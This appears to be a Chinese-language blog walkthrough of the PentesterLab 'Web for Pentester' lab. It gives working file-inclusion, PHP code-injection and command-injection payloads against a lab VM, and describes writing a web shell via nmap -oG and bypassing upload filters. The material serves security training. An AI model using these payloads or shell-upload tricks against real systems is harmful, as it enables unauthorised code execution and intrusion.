PentesterLab » Web for Pentester 通关笔记

寒假看到一个练习题,很有意思也很适合我这样的新手,于是下载下来练手。
下载地址
参考链接
PentesterLab » Web for Pentester 通关笔记_第1张图片

File Include

example1

打开之后长这样:
PentesterLab » Web for Pentester 通关笔记_第2张图片
可以看到page处可能可以进行任意文件读取。
我们尝试读取该文件的源码,发现
在这里插入图片描述
于是换成了php伪协议,解码之后,代码如下:

 require_once '../header.php'; ?>



	if ($_GET["page"]) {
		include($_GET["page"]);

	} 

?>

 require_once '../footer.php'; ?>

那就很好办了。用php伪协议,用input查看phpinfo,然后再利用系统命令执行函数:
PentesterLab » Web for Pentester 通关笔记_第3张图片

example2

PentesterLab » Web for Pentester 通关笔记_第4张图片
初步猜测它会自动添加.php后缀,当page值为intro.php%00时,依然可读取该文件。于是和example1相同,利用伪协议执行命令。
源码如下:

 require_once '../header.php'; ?>

	if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
		include($file);
	} 
?>
 require_once '../footer.php'; ?>

任意文件包含漏洞主要由于require(),include()等函数的参数没有进行严格的过滤及php.ini中的配置项
的开启导致的。

alow_url_fopen ON
allow_url_include ON 

code injection

example1

PentesterLab » Web for Pentester 通关笔记_第5张图片
尝试闭合:
PentesterLab » Web for Pentester 通关笔记_第6张图片
双引号用来闭合,分号用来结束语句,注释符把原来闭合的双引号注释掉。在分号和注释符之间可以插入任意PHP语句。
如:
PentesterLab » Web for Pentester 通关笔记_第7张图片

example2

这个例子的闭合我想了很久也没想出来,看了文章之后才明白。
我们看关键的一段代码:

usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

usort()为排序函数。
create_function()为创建一个简单函数,上面的语句相当于为:


function abc($a, $b)
{
	return strcmp($a->$order,$b->$order);
}
?>

作为一个函数,必然要执行代码,而我们的$order可控,于是按照函数来进行闭合即可进行代码注入:
http://192.168.249.143/codeexec/example2.php?order=id);}//
这里先闭合strcmp函数,结束语句,再闭合函数,然后用注释符把原代码注释掉,然后就可以执行任意代码了。

example3

PentesterLab » Web for Pentester 通关笔记_第8张图片
关键代码:


echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

这题我也是看到了源码才知道的解法,该题利用preg_replace()将$base中的字符输出,但会按照$pattern中匹配的字符替换成$new中的字符。但当该函数匹配模式有/e时会将$new中的字符串当作代码处理。于是就很简单了:
PentesterLab » Web for Pentester 通关笔记_第9张图片

example4

在这里插入图片描述
关键代码:


assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
?>

这题是利用assert()函数,进行代码执行。只要闭合函数即可。
payload:http://192.168.249.143/codeexec/example4.php?name='.phpinfo();//

代码执行漏洞主要由于eval()、assert()等函数对参数的过滤不严格导致的。

command injection

example1

利用管道符即可。
payload:http://192.168.249.143/commandexec/example1.php?ip=127.0.0.1|ls

example2

看源码:


  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

这里使用了正则表达式来检测这一行是否为“数字.数字.数字.数字”的情况,但是/m的匹配模式可以用换行符进行绕过。
于是我们构造payload:http://192.168.249.143/commandexec/example2.php?ip=127.0.0.1%0als即可。

example3

PentesterLab » Web for Pentester 通关笔记_第10张图片
该网页进行了一个重定向,但命令依旧是被执行了的,所以抓包即可。

example4

这个是我自己写的题,主要是记一下这个特殊的命令执行方式,代码如下:


$a = $GET['a'];
echo `$a`;
?>

这里的反引号会获取执行$a后返回的结果,在某个CTF中里遇见了该命令执行方式,记录一下。

example5

打省赛的时候做到的一题,记录一下。
nmap工具使用-oG参数时可以写入文件
PentesterLab » Web for Pentester 通关笔记_第11张图片
英文文档在这。
例如省赛的题解:

?host=' -oG hack.php
意思就是将这句木马写入hack.php文件中。

文件上传

example1

没有过滤,上传一句话木马即可。

example2

这里对php后缀进行了黑名单过滤,我们可以尝试用大小写绕过或者phtml等后缀绕过。
成功后用菜刀连接即可。

你可能感兴趣的:(靶机初体验)